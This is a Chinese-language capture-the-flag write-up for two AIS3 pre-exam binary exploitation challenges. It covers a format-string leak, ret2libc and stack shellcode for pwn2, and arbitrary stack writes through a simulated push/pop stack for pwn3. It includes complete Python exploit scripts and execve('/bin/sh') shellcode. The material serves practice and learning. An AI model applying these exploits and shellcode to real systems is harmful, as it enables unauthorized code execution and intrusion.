AIS3 Pre-Exam pwn2 & pwn3 Writeup
据说 AIS3 是 217 出的 CTF,群里的小朋友叫我做这个题的时候比赛已经结束了。不过最近一直在练习 pwnable,所以就看了下 AIS3 的 pwn2 和 pwn3。
因为是 AIS3 的 pre-exam,而且总共五道 pwn 这只是前三道,所以题目都比较简单。简单是简单在漏洞能很明显的发现,但是成功 pwn 掉也是花费了我不少时间。
pwn2
pwn2 是一个 32-bit 的 ELF,开启了 FORTIFY 但是关掉了 NX。群里的菊苣说 FORTIFY 是一个编译选项,printf 的时候检查用户输入。所以这道题目果然就有了 FSB,但是 FSB 并不能任意 write 了,只能 leak 一下 stack 和 libc 的地址,不过这个也够了。
因为没开 NX 并且存在一个 stack overflow,可以利用 FSB 泄露 stack 地址,接着溢出执行 shellcode。不过最近在研究绕 DEP,所以也尝试了下用 ret2libc 来获取 shell。
gdb-peda$ disass echo
Dump of assembler code for function echo:
0x08048540 <+0>: push ebx
0x08048541 <+1>: sub esp,0x28
0x08048544 <+4>: lea ebx,[esp+0x18]
0x08048548 <+8>: mov DWORD PTR [esp+0x4],ebx
0x0804854c <+12>: mov DWORD PTR [esp+0x8],0x100
0x08048554 <+20>: mov DWORD PTR [esp],0x0
0x0804855b <+27>: mov DWORD PTR [esp+0x18],0x0
0x08048563 <+35>: mov DWORD PTR [esp+0x1c],0x0
0x0804856b <+43>: call 0x80483a0 <read@plt>
0x08048570 <+48>: mov DWORD PTR [esp+0x4],ebx
0x08048574 <+52>: mov DWORD PTR [esp],0x1
0x0804857b <+59>: call 0x80483e0 <__printf_chk@plt>
0x08048580 <+64>: add esp,0x28
0x08048583 <+67>: pop ebx
0x08048584 <+68>: ret
End of assembler dump.
存在漏洞的函数在这里。
先溢出一次,用 FSB 获取一些信息,ret 到 main 函数地址:
其中 fff19838
是 stack 的地址,f77726b0
是 libc 里什么鬼的地址:
不要问我怎么知道 f77726b0
是 libc 里的,我猜的 _(:3」∠)_。
经过刚才的第一轮之后,得到 libc 的地址,计算一下偏移即可得到 system 的地址。接着回到 main 函数再来一发。
要想成功利用 ret2libc,这一轮需要传入的数据大概是这样:
aaaaaaaaaaaaaaaaaaaa + system_addr + exit_addr(不是必须) + argv_addr
不过怎么传入 argv 的地址愁到我了,因为没有能写入 /bin/sh 的地方。
想了一下动了个歪脑筋,直接在 ret2libc 的利用 payload 最后加上 /bin/sh,然后利用前面泄露的 stack 地址计算一下 offset。
现在的利用 payload 是:
aaaaaaaaaaaaaaaaaaaa + system_addr + exit_addr + argv_addr + "/bin/sh"
最终的 exp 是这样:
from zio import *
io = zio('./pwn2', timeout=9999)
payload = '%x%x%x%xaaaaaaaaaaaa\xf0\x83\x04\x08'
io.writeline(payload)
data = io.read_until_timeout(0.1)
stack_addr = l32(int(data[4:12], 16) - 48)
system_addr = l32(int(data[12:20], 16) - 1676880)
exit_addr = l32(int(data[12:20], 16) - 1727184)
io.writeline('a' * 20 + system_addr + exit_addr + stack_addr + '/bin/sh\x00')
io.interact()
也就计算偏移稍微麻烦点_(:3」∠)_
另外还有个溢出然后在栈上执行代码的 exp 也写了:
from zio import *
shellcode = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
payload = '%x%x%xaaaaaaaaaaaaaa\xf0\x83\x04\x08'
io = zio('./pwn2', timeout=999)
io.writeline(payload)
data = io.read_until('aaa')
stack_addr = l32(int(data[4:12], 16) - 56)
io.writeline('a' * 20 + stack_addr + '\x90' * 5 + shellcode)
io.interact()
pwn3
pwn3 是模拟了一个 stack,可以进行 pop、push。说实话这道题目拿来就知道用意是栈上任意内存的读写了(看不出来就炸了)。
这个题没用 ida 逆向分析,直接上 gdb 跟的。因为所有的安全防护都没有开,所以利用起来很简单。
我是先用 pop 来 leak 出 stack 的地址,然后再一直 push 到返回地址覆盖为 stack 上计算的 shellcode 的地址,顺便把 shellcode 也写到 stack 里。
这道题写内存的时候是写一个整数。由于一些限制,最大只能写到 2147483647 ,也就是 0x7fffffff。如果大于,可以用负数来写。比如 -1 的话就会写入 0xffffffff 到内存_(:3」∠)_
思路很明确,但是实现起来还是有些复杂。跟了一下汇编发现往 stack 里写内容的时候并不能任意的写,比如:
0x0804881a <+229>: mov ecx,DWORD PTR [ebp-0x4]
0x0804881d <+232>: leave
0x0804881e <+233>: lea esp,[ecx-0x4]
0x08048821 <+236>: ret
这里已开始我写内容的时候把 ecx 覆盖为 0x233 了,导致读不了内存 GG。还有就是有的 shellcode 不能用,sad story。
不过细心一点计算的话,还是很好做的。比较花费时间而已。
exploit 如下:
from zio import *
import time
io = zio('./pwn3', timeout=9999)
def shellcoder(shellcode):
_ = map(l32, shellcode)
return map(lambda x: x if x < 0x7fffffff else x - 0xffffffff - 0x1, _)
shellcode = [
"\x31\xc0\x50\x68", "\x2f\x2f\x73\x68", "\x68\x69\x6e\x2f",
"\x2f\x68\x2f\x2f", "\x2f\x62\x89\xe3", "\x50\x89\xe2\x53",
"\x89\xe1\xb0\x0b", "\xcd\x80\x90\x90"
]
shellcode = shellcoder(shellcode)
stack = []
for i in range(0, 2):
io.read_until_timeout(0.01)
io.writeline('2')
data = io.read_until_timeout(0.01)
stack.append(int(data.splitlines()[0].split(':')[1].strip(), 16))
stack_addr = stack[1] - 138
for i in range(0 ,2):
io.read_until_timeout(0.01)
io.writeline('1')
io.read_until_timeout(0.01)
io.writeline(str(stack.pop()))
ecx_addr = stack_addr - 0xffffffff + 0x4
for i in range(0, 24):
io.read_until_timeout(0.01)
io.writeline('1')
io.read_until_timeout(0.01)
if i == 23:
io.writeline(str(stack_addr - 0xffffffff))
elif i == 24:
io.writeline(str(stack_addr - 0xffffffff + 50))
elif i == 7:
if ecx_addr % 0x100 > 0x7f:
io.writeline(str((((ecx_addr % 0x100) << 0x18) - 0xffffffff + 0x112233)))
else:
io.writeline(str(((ecx_addr % 0x100) << 0x18) + 0x112233))
elif i == 8:
addr = stack_addr - 0xffffffff
io.writeline(str(addr >> 8))
elif i >= 10 and i <= 17:
io.writeline(str(shellcode[i - 10]))
else:
io.writeline(str(-1869574000))
io.writeline('4')
io.interact()
就这样,碎叫_(:3」∠)_